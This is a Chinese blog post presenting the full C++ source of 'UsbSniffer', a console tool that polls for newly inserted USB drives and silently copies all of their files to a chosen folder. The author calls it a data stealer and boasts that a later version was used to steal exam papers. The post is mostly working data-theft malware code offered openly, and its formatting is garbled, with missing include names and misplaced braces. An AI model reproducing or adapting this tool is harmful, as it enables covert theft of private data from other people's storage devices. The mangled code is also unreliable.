• UsbSnifferU盘资料窃取器(C++版)


    一年多前的用C++写的小东西了(曾经的C++,自从我接触到C#后,就逐渐离我远去了……),该程序曾经在网络技术论坛发过。现在也发到园子里,主要是为了和后期用C#写的另外一个版本的UsbSniffer做下对比。
    ---------------------------------------------------------------------
    功能简介:
    本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路径下。
    代码如下:(VC6.0下编写)
    /*USBsniffer v1.0*/
    /*USBsniffer*/
    /*作者:seek*/
    /*日期:2007.2.17*/
    /*E-mail:tseek1@gmail.com*/
    /*纯手工作品,如需转载请注明出处*/
    #include 
    <iostream>
    #include 
    <stdlib.h>
    #include 
    <io.h>
    #include 
    <windows.h>
    #include 
    <string>
    #include 
    <sys/types.h>
    #include 
    <sys/stat.h>
    using namespace std;
    void copyfiles(string source,char *target);
    char *StringToChar(string source);
    bool IsDirectory(const char* fname);
    void Init();
    int main(int argc,char **argv){
     
    if(argc!=2){
       Init();
     }

     
    else{
       
    while(access(*(argv+1),0)==0)// if directory already exist,this will auto add '\1' back it;
         strcat(*(argv+1),"\\1\\");
       }

         
    if(createDirectory(*(argv+1),NULL)){
           DWORD frist
    =GetLogicalDrives();
           DWORD second,n
    =0;
           
    string targetPath="0";
           
    while(1)// every 3 seconds to estimate if there is a USB device
             Sleep(3000);
             second
    =GetLogicalDrives();
             
    if(second-frist>0){
               second
    -=frist;
               
    while(second>>=1) n++;
               targetPath[
    0]=n+65;
               targetPath
    +=":\\*";
               copyfiles(targetPath,
    *(argv+1));
               
    return 0;
             }

           }

         }

     }

    }

    void copyfiles(string source,char *target){
     WIN32_FIND_DATA FindFileData;
     HANDLE hFind;
     
    char *sourceDir=0;
     
    int len;
     sourceDir
    =StringToChar(source);
     len
    =strlen(sourceDir);
     hFind 
    = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
     sourceDir[len-1]='\0'// take out '*';
     while(1){
       
    if(hFind == INVALID_HANDLE_VALUE)//file found error
         break;
       }

       
    else{
         
    char temp[200];
         
    char tempPath[200],tempSource[200];
         strcpy(temp,sourceDir);
         strcat(temp,FindFileData.cFileName);
         
    if(IsDirectory(temp)== true)//estimate whether is a directory
           if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,".."))//take out . & ..dirc
             strcpy(tempSource,sourceDir);
             strcat(tempSource,FindFileData.cFileName);
             strcpy(tempPath,target);
             strcat(tempPath,FindFileData.cFileName);
             createDirectory(tempPath,NULL);
             strcat(tempSource,
    "\\*");
             strcat(tempPath,
    "\\");
             copyfiles(tempSource,tempPath); 
    //Recursion 
           }

         }

         
    else//if is a file,copy to target dirc
           strcpy(tempSource,sourceDir);
           strcpy(tempPath,target);
           strcat(tempPath,FindFileData.cFileName);
           strcat(tempSource,FindFileData.cFileName);
           CopyFile(tempSource,tempPath,
    false);
         }

         
    if(FindNextFile(hFind,&FindFileData)==0break//found the next file
       }

     }

     FindClose(hFind);  
    //handle closed;
    }
     
    char* StringToChar(string source)//string convent to char*
    char *ch=new char[source.length()];
     ch
    =(char*)source.c_str();
     
    return ch;
    }

    bool IsDirectory(const char* fname) //Directory estimate
    {
     
    return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
    }
     
    void Init()//init function
     cout<<"\nUSBsniffer v1.0 \n"<<endl
       
    <<"e.g: usbsniffer c:\\usb\\"<<endl
       
    <<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
       
    <<",and the whole log will be saved to c:\\log.txt"<<endl
       
    <<"\nWitten By SeeK QQ:771014"<<endl
       
    <<"\n2007.2.17"<<endl;
    }

    一个控制台程序,没有实用价值,完全是为了实现一种思想,不过后期用C#写了个WinForm的,到是用的感觉不错(曾成功窃取了期末考试卷:),今后会陆续发上来,还希望大家多关注本人Blog^_^
    SIGNATRUE-----------------------------------
    龟看上去很慢很慢,而且还有些憨,虽然没有兔子跑的快,但是只要有坚持不懈的毅力,就一定会到达成功的比彼岸.如果自己是龟,就不要试图把自己变成兔子,我就是那只憨龟。
  • 相关阅读:
    《敏捷软件需求》阅读笔记三
    《敏捷软件需求》阅读笔记二
    《敏捷软件需求》阅读笔记一
    《需求工程-软件建模与分析》阅读笔记三
    《需求工程-软件建模与分析》阅读笔记二
    《需求工程-软件建模与分析》阅读笔记一
    C#.NET程序设计实验三实验报告
    C#.NET程序设计实验二实验报告
    C#.NET程序设计实验一实验报告
    oracle——存储数据时的编码问题
  • 原文地址:https://www.cnblogs.com/seek/p/1171711.html
Copyright © 2020-2023  润新知